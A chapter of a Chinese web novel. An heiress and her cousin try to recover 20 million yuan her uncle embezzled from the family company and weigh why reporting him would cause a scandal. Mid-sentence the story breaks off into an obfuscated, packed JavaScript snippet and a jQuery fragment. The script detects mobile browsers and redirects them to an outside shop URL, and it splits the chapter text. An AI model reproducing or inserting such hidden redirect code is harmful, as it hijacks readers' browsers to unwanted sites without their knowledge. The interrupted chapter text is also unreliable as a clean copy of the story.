下午三点半，胡正山晃晃悠悠来到办公室。


    秦韶仙立刻抱着厚厚一堆文件前来拜访。


    “舅舅！公司运营好难啊！好多地方我都不懂，只能让你解释给我听了！”


    胡正山：？


    秦韶仙完全不读空气，一味紧紧挤在舅舅身边，详细询问，求知若渴。


    只是眼睛一直盯着他的裤兜。


    他的手机，就在那里。


    胡正山只回答了几个问题便耐心耗尽。


    他站起身：“这些鸡毛蒜皮的事情，你去问王二梅就行了。我还有事，嗯，有人找我，我先走了。”


    秦韶仙也立刻起身，紧紧跟在舅舅身侧，不满大喊：“我有不懂的事，问自己舅舅不是天经地义吗？王二梅算什么人，凭什么让我屈尊下顾？”


    胡正山嘴角抽抽：“不是，你这丫头，怎么就屈尊下顾了……”


    就在这时，手机短信提示音响起。


    秦韶仙心跳一顿。


    来了。


    表弟在隔壁街工行柜员机向舅舅转入的100元，到账了。


    她毫不犹豫伸头去看手机屏幕。


    电光火石间，她看清了那一串小字。


    “您尾号为……接到转账100元……余额为803，410元。”


    秦韶仙两眼一黑，却还是打起精神演戏：“天啊！舅舅你的银行余额有80万呢！你好有钱啊！”


    胡正山把手机塞回裤兜，脸色十分不自在，大声呵斥：“80万算什么钱，你可是每年有7千万呢，我的大小姐！”


    秦韶仙一脸无辜：“7千万是他们说的，也没真给到我手里啊。我一直穷得叮当响。要不是二伯妈好心给我打了几万块钱，我连来这里的路费都没有。我是真的觉得80万很多啊，我一辈子都没见过这么多钱。”


    胡正山张口结舌，欲言又止，脸色变幻莫测。


    但他最后只是挥挥手，“总之我还有事，先走了。你要是还有哪里不懂，就麻烦你屈尊下顾去问王二梅吧！”


    说完，他一溜烟跑了。


    秦韶仙一个人默默回了自己办公室。


    吴有朋一进门，看到表姐满头黑气，不禁心中一抖。


    “那个……多少？”


    “80万。”


    吴有朋：……


    曾经以为唾手可得的2千万现金，这一刻，终于化为泡影。


    他努力平复，却仍然满心沉重：“套牢也不等于资金完全消失。我们干脆跟他摊牌，逼他清仓，拿回来一点是一点。”


    秦韶仙有气无力翻起眼皮看过来一眼，没说话。


    吴有朋挠挠头：“也许……王二梅被骗了呢？也许胡正山不信任王二梅，早在崩盘前就减仓、甚至清仓，不，也许一把□□都是骗人的，也许他只是偷偷在其他银行开了其他账户，把钱全部转存进去了呢？”


    秦韶仙：“是啊。很有可能。那我们该如何去找那个神秘账户呢？”


    吴有朋无言以答。


    秦韶仙却深吸一口气，使劲搓搓脸，一下子跳起来。


    “别担心，还有时间。我会想到办法的。”


    吴有朋用力点头。


    接下来的日子平淡无波。


    姐弟两上午来办公室，闷头研究着那一大堆文件和资料。


    下午则去巡视生产现场，所有工序都亲自过目。


    王二梅一直是老老实实的样子。


    之前，表姐以报警相威胁，要求她对胡正山隐瞒真账本已经外泄的事实。


    看样子，王二梅选择了保守策略，不愿多生事端。


    吴有朋暗自松了一口气。


    这个关口，他实在不希望额外生出风波。


    他偷偷观察着表姐。


    她看起来一如既往，活力四射，充满希望。


    可是……


    不知怎么回事……


    可能是如今已经足够熟悉了吧……


    他总觉得有一股无形的黑气笼罩着她。


    她说会有办法的。


    真的吗？


    真的会有办法吗？


    是不是她心里也有点绝望了呢？


    吴有朋十分不爽。


    表姐明明已经拿到了真账本，掌握了分公司不法行为。


    这还不够吗？


    从一开始，她为什么会被派到这个天涯海角？


    不就是为了证明她不是什么都不懂的小孩，她有资格继承自己父亲的席位、参与集团的经营？


    如果我是董事，对于大小姐这样的表现，我会感到惊喜，我会投票同意她进入董事会。


    可惜，吴有朋并不是董事。


    而他身为董事的妈妈和大舅舅……


    先不说妈妈，大舅舅是一心要把表姐排挤出去的。


    说好了拿回2千万。


    结果没能拿回来。


    大舅舅才不管那么多，他肯定咬死这一点，逼迫表姐主动退出。


    吴有朋十分焦虑。


    还是要拿到2千万才行。


    这虚无缥缈的2千万到底在哪里？


    最佳情况是，并没有被套牢在股市中，而是被胡正山转移到了其他地方。


    可能是其他任何银行，甚至可能是海外账户。


    他和表姐不过是两个系统之外的平民，要如何调查？


    系统。


    没错，最简单最直接的办法其实是借助系统。


    比如说，报警。


    然而，报警是不可能的。


    这个选项根本不存在。


    报警=丑闻。


    对表姐来说是丑闻。


    把嫡亲的舅舅、妈妈唯一剩下的亲人送进监狱？


    外界会说她冷酷，说她残忍，说她没有纲常，说她丢了良心。


    对凤凰集团来说是丑闻。


    外界会说集团制度不严，监管不力，竟放任下属公司如此混乱。


    对刚刚过世的董事长秦玉广更是丑闻。


    胡正山从公账上偷走2千万，用法律来衡量，确


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16646413|187227||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    实值得牢狱之灾。


    但如果往下深究呢？


    如果十多年前，胡正山第一次上报不合理账目，秦玉广就严厉阻止呢？


    根本不会有这些后续。


    胡正山的贪婪，是在秦玉广的默许之下慢慢膨胀的。


    大家终会明白，胡正山所谓侵占的钱，在秦玉广看来，是给亡妻家人的抚恤金。


    而现在秦玉广死了，秦玉广的哥哥姐姐却想把这笔钱收回来。


    而秦玉广的女儿抓住了这个机会，想要踩着舅舅的尸身，送自己上青云。


    没错，在外界看来，这就是滔天的丑闻。


    ……不能报警。


    这一趟旅程，表姐完全是孤身一人。


    她无处求助，只能自己安安静静、悄无声息地拆解这一团乱麻里，尽力找回被偷走的钱。


    吴有朋弯下腰，抱住头。


    啊啊啊，要疯了。


    某一天傍晚，秦韶仙独自出门散步。


    她沿着海岸线慢慢走，不知不觉走出很远，前方已经依稀可见灯火闪烁的码头。


    码头总是最热闹的。


    人群的吵闹声随着海风吹过来。


    秦韶仙不想继续靠近，干脆走下乱石滩，看着大海发呆。


    单调的海浪声渐渐盖住远处的人声。


    秦韶仙完全掉进自己的情绪之中。


    这种情绪，叫做沮丧。


    已经八月份了。


    开学就在这个月底。


    留在岛上的时间不多了。


    在这有限的时间内，如何找到舅舅的隐藏账户？


    她毫无头绪。


    更别说，那个设想出来的隐藏账户不一定真的存在。


    很大概率，舅舅根本没那么深的心思。


    事情的真相就是王二梅所说的那样，舅舅在股市中一把□□，然后被套牢。


    秦韶仙坐在石头上，手指抠紧了膝盖。


    要失败了吗？


    果然要失败了吗？


    明明一开始也没报多大希望，可是当失败真正降临，这滋味竟然如此苦涩。


    “小丫头！一个人做什么呢？”


    秦韶仙茫然抬头，循着声音去找。


    天空早已变成紫蓝色，和大海连成一片。


    那一片紫蓝色之中，有一艘白色小船，小船上站着个人。


    是乔老板。


    这位叔依然穿着他钟爱的荧光色polo衫，今天是比柠檬更鲜艳的黄色。


    秦韶仙心想，这些扎眼的衣服都是哪里买来的，平时也没看见街上卖啊。


    乔老板在船上挥手大喊：“去码头！去码头碰面！”


    秦韶仙：？


    不是，你谁啊，叫我去我就去？


    我才不去。


    码头好多人，我才不想过去。


    但是，等一下。


    如果说有人知道胡正山的秘密，那乔老板是最有可能的。


    秦韶仙嗖的一下站起来，大步往码头走。